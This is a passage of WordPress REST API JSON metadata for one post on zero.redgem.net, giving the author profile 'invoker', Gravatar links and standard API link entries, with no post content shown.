redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/62047","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=62047"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/62047\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=62047"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=62047"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=62047"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}